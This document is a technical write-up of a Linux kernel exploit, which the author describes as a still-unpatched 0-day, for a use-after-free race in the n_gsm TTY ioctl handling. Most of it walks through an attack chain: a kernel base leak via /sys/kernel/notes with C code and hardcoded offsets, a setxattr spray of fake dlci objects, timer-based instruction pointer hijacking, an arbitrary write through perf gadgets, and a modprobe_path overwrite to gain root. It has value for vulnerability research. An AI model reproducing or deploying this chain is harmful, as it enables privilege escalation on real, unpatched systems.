Awesome
This appears to still be a 0-day. I had no intention of publishing this exploit before the vulnerability was patched, but a 0-day exploit was published by another researcher who found the same vulnerability, so I published my code as well. Please use this for research purposes only.
RCA
- The TTY of the Linux kernel supports the GSM 07.10 multiplexing protocol.
- When an ioctl is requested for GSM, the following functions are executed in the kernel:
[1] GSMIOC_SETCONF: Resets the configuration of GSM.
[2] GSMIOC_GETCONF_DLCI: Retrieves the DLCI configuration associated with GSM.
[3] GSMIOC_SETCONF_DLCI: Changes the DLCI configuration associated with GSM.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF:
if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
return -EFAULT;
return gsm_config(gsm, &c);//[1]
....
case GSMIOC_GETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
gsm_dlci_copy_config_values(dlci, &dc);//[2]
if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
return -EFAULT;
return 0;
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
default:
return n_tty_ioctl_helper(tty, cmd, arg);
}
}
-
Let's first examine GSMIOC_SETCONF, which changes the configuration of GSM.
-
[1] If the current configuration of GSM differs from the new configuration, need_restart is marked as true.
[2] If need_restart is true, the current GSM is terminated through gsm_cleanup_mux.
static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
int need_close = 0;
int need_restart = 0;
...
if (c->mtu != gsm->mtu)//[1]
need_restart = 1;
/*
* Close down what is needed, restart and initiate the new
* configuration. On the first time there is no DLCI[0]
* and closing or cleaning up is not necessary.
*/
if (need_close || need_restart)
gsm_cleanup_mux(gsm, true);//[2]
...
return 0;
}
[1] All DLCIs owned by GSM are released through gsm_dlci_release.
static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
int i;
struct gsm_dlci *dlci;
struct gsm_msg *txq, *ntxq;
gsm->dead = true;
mutex_lock(&gsm->mutex);
...
for (i = NUM_DLCI - 1; i >= 0; i--)
if (gsm->dlci[i]){
gsm_dlci_release(gsm->dlci[i]);//[1]
}
...
}
-
Subsequently, functions are called in the following order:
- gsm_dlci_release → dlci_put → gsm_dlci_free
[1] NULL is assigned to gsm->dlci[addr] to prevent Use-After-Free (UAF).
[2] Afterwards, gsm->dlci[addr] is freed using kfree.
static void gsm_dlci_free(struct tty_port *port)
{
struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);
timer_shutdown_sync(&dlci->t1);
dlci->gsm->dlci[dlci->addr] = NULL;//[1]
kfifo_free(&dlci->fifo);
while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
dev_kfree_skb(dlci->skb);
kfree(dlci);//[2]
}
GSMIOC_SETCONF_DLCI
-
Let's examine GSMIOC_SETCONF_DLCI, which changes the configuration values of a DLCI owned by GSM.
-
[1] Reads the DLCI configuration, including the address (addr), from the user.
[2] References gsm->dlci[addr].
[3] Calls gsm_dlci_config to change the configuration of the DLCI.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];//[2]
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}
[1] Sets need_open to true based on the options passed by the user.
[2] Waits until dlci->state becomes DLCI_CLOSED.
[3] If only gsm->initiator is true, the gsm_dlci_begin_open function is called to restart the DLCI.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
struct gsm_mux *gsm;
bool need_restart = false;
bool need_open = false;
unsigned int i;
...
if (dc->flags & GSM_FL_RESTART)
need_restart = true;
if ((open && gsm->wait_config) || need_restart)//[1]
need_open = true;
if (dlci->state == DLCI_WAITING_CONFIG) {
need_restart = false;
need_open = true;
}
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
if (signal_pending(current))
return -EINTR;
}
...
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
vulnerability
[1] Accesses gsm->dlci without a lock.
[1] gsm_dlci_config accesses dlci. If gsm_cleanup_mux has been called due to GSMIOC_SETCONF, a race condition can lead to Use-After-Free (UAF).
- Under normal circumstances, the condition is met within a very short time, and wakeup is called.
- If UAF occurs, unless a different IOCTL is requested from the user level to call the wakeup routine, it enters an infinite wait.
- Therefore, an attacker can determine whether UAF has been triggered by measuring the duration until the IOCTL completes.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
...
- During the wait in wait_event_interruptible, GSM is restarted by threadFunction2.
- The DLCI referenced by GSM is kfreed, and the DLCI referenced by wait_event_interruptible is also kfreed.
- In such a scenario, since the IOCTL takes a long time to complete, it's easy to detect from the user space that Use-After-Free (UAF) has occurred.
Leak Kernel Base
- The address of the kernel's hypercall_page is written in /sys/kernel/notes, which is readable by regular users. Therefore, an attacker can read this file to leak the kernel base.
unsigned long get_kernel_base(){
const char *filePath = "/sys/kernel/notes";
const char pattern[] = "Xen\\x00";
FILE *file;
uint8_t buffer[1024];
size_t bytesRead;
int found = 0;
file = fopen(filePath, "rb");
if (!file) {
perror("File open failed");
return EXIT_FAILURE;
}
int count = 0;
unsigned long hypercall_page=0;
while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
uint64_t value;
memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
hypercall_page=value;
break;
}
}
}
}
}
if(hypercall_page==0){
printf("fail to get hypercall_page\\n");
exit(1);
}
kernel_base = hypercall_page - 0x1119000;
modprobe_path = kernel_base + 0x23d8960;
kernfs_pr_cont_buf = kernel_base +0x3910d00;
__rb_free_aux = kernel_base + 0x37ac90;
perf_aux_output_end = kernel_base + 0x37bf20;
printf("hypercall_page: 0x%lx\\n", hypercall_page);
printf("kernel_base = 0x%lx\\n",kernel_base);
printf("modprobe_path = 0x%lx\\n",modprobe_path);
printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
fclose(file);
return EXIT_SUCCESS;
}
Writing at Kernel Area
To determine the address of our fake struct gsm_mux, we use a global static buffer to store it. By leveraging iptables to add an invalid cgroup filter, the buffer kernfs_pr_cont_buf gets populated with our payload data. This process requires adjustments.
Spraying Fake gsm_dlci Object
- To create a fake dlci, we use setxattr to spray data that fits into the kmalloc-1k cache.
- At this juncture, the part of dlci corresponding to dlci->state must be set to DLCI_CLOSED to exit from wait_event_interruptible.
[1] From this point onwards, the values of each member of dlci can be controlled by the attacker.
[2] dlci->gsm can be set to a pointer controlled by the attacker. Thus, gsm->mtu reads values from an arbitrary pointer. This setup allows dlci->mtu to be read using gsm_dlci_copy_config_values, enabling Kernel Address Read Arbitrary (AAR), although it is not used in this exploit.
[3] All values of the dlci passed as arguments to gsm_dlci_begin_open can be controlled by the attacker. This should be kept in mind when reviewing the following code.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
/*
* Setup the new configuration values
*/
dlci->adaption = (int)dc->adaption;
if (dc->mtu)
dlci->mtu = (unsigned int)dc->mtu;
else
dlci->mtu = gsm->mtu;//[2]
if (dc->priority)
dlci->prio = (u8)dc->priority;
else
dlci->prio = roundup(dlci->addr + 1, 8) - 1;
if (dc->i == 1)
dlci->ftype = UIH;
else if (dc->i == 2)
dlci->ftype = UI;
if (dc->k)
dlci->k = (u8)dc->k;
else
dlci->k = gsm->k;
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
Fake Object to RIP Hijacking
[1] The functions are called in the sequence of gsm_dlci_negotiate → gsm_control_command → gsm_data_queue → __gsm_data_queue. In __gsm_data_queue, the message is composed based on the value of dlci->gsm->dlci[0]. To avoid crashes, it's necessary to appropriately set the values of dlci->gsm->dlci[0], but as this doesn't directly relate to the exploit, detailed explanations will be omitted.
[2] The timer is set using dlci->t1.
static void gsm_dlci_begin_open(struct gsm_dlci *dlci)
{
struct gsm_mux *gsm = dlci ? dlci->gsm : NULL;
bool need_pn = false;
if (!gsm)
return;
if (dlci->addr != 0) {
if (gsm->adaption != 1 || gsm->adaption != dlci->adaption)
need_pn = true;
if (dlci->prio != (roundup(dlci->addr + 1, 8) - 1))
need_pn = true;
if (gsm->ftype != dlci->ftype)
need_pn = true;
}
switch (dlci->state) {
case DLCI_CLOSED:
case DLCI_WAITING_CONFIG:
case DLCI_CLOSING:
dlci->retries = gsm->n2;
if (!need_pn) {
dlci->state = DLCI_OPENING;
gsm_command(gsm, dlci->addr, SABM|PF);
} else {
/* Configure DLCI before setup */
dlci->state = DLCI_CONFIGURE;
if (gsm_dlci_negotiate(dlci) != 0) {//[1]
gsm_dlci_close(dlci);
return;
}
}
mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100);//[2]
break;
default:
break;
}
}
- When looking at the timer_list, the type of the first argument to mod_timer, it includes:
[1] The amount of time until the timer triggers.
[2] The function that will be executed when the timer triggers.
- Therefore, by setting dlci->t1.expires to a short duration, dlci->t1.function will be called almost immediately. Through this, an attacker can hijack the RIP (Return Instruction Pointer).
Rip Hijacking to AAW
[1] When calling timer_base->function, the first argument used is the timer_base itself.
- In this case, since timer_base is dlci->t1, the vicinity of it (how much exactly is to be determined) is addressable by the attacker to set values.
static void expire_timers(struct timer_base *base, struct hlist_head *head)
{
...
while (!hlist_empty(head)) {
struct timer_list *timer;
void (*fn)(struct timer_list *);
...
fn = timer->function;
...
if (timer->flags & TIMER_IRQSAFE) {
raw_spin_unlock(&base->lock);
call_timer_fn(timer, fn, baseclk);//[1]
raw_spin_lock(&base->lock);
base->running_timer = NULL;
} else {
...
}
}
}
-
First, we call __rb_free_aux.
[1] In __rb_free_aux, the first argument is referenced to obtain a function pointer and the first argument for that function. We can set the first argument to an arbitrary pointer, allowing us to call any function.
- __rb_free_aux is manipulated to call perf_aux_output_end.
static void __rb_free_aux(struct perf_buffer *rb)
{
int pg;
/*
* Should never happen, the last reference should be dropped from
* perf_mmap_close() path, which first stops aux transactions (which
* in turn are the atomic holders of aux_refcount) and then does the
* last rb_free_aux().
*/
WARN_ON_ONCE(in_atomic());
if (rb->aux_priv) {
rb->free_aux(rb->aux_priv);//[1]
rb->free_aux = NULL;
rb->aux_priv = NULL;
}
if (rb->aux_nr_pages) {
for (pg = 0; pg < rb->aux_nr_pages; pg++)
rb_free_aux_page(rb, pg);
kfree(rb->aux_pages);
rb->aux_nr_pages = 0;
}
}
[1] The first argument, handle, is used to retrieve rb.
[2] rb is dereferenced twice to place rb->aux_head at the pointed location. Therefore, rb->aux_head is written to the address set in rb->user_page. Through this, the attacker can achieve Arbitrary Address Write (AAW).
void perf_aux_output_end (struct perf_output_handle *handle, unsigned long size)
{
bool wakeup = !!(handle->aux_flags & PERF_AUX_FLAG_TRUNCATED);
struct perf_buffer *rb = handle->rb;//[1]
unsigned long aux_head;
...
WRITE_ONCE(rb->user_page->aux_head, rb->aux_head);//[2]
...
}
AAW to root
Afterward, the well-known modprobe_path technique is used. Since we have the capability to write 8 bytes to an arbitrary address, we can set modprobe_path to /tmp/b.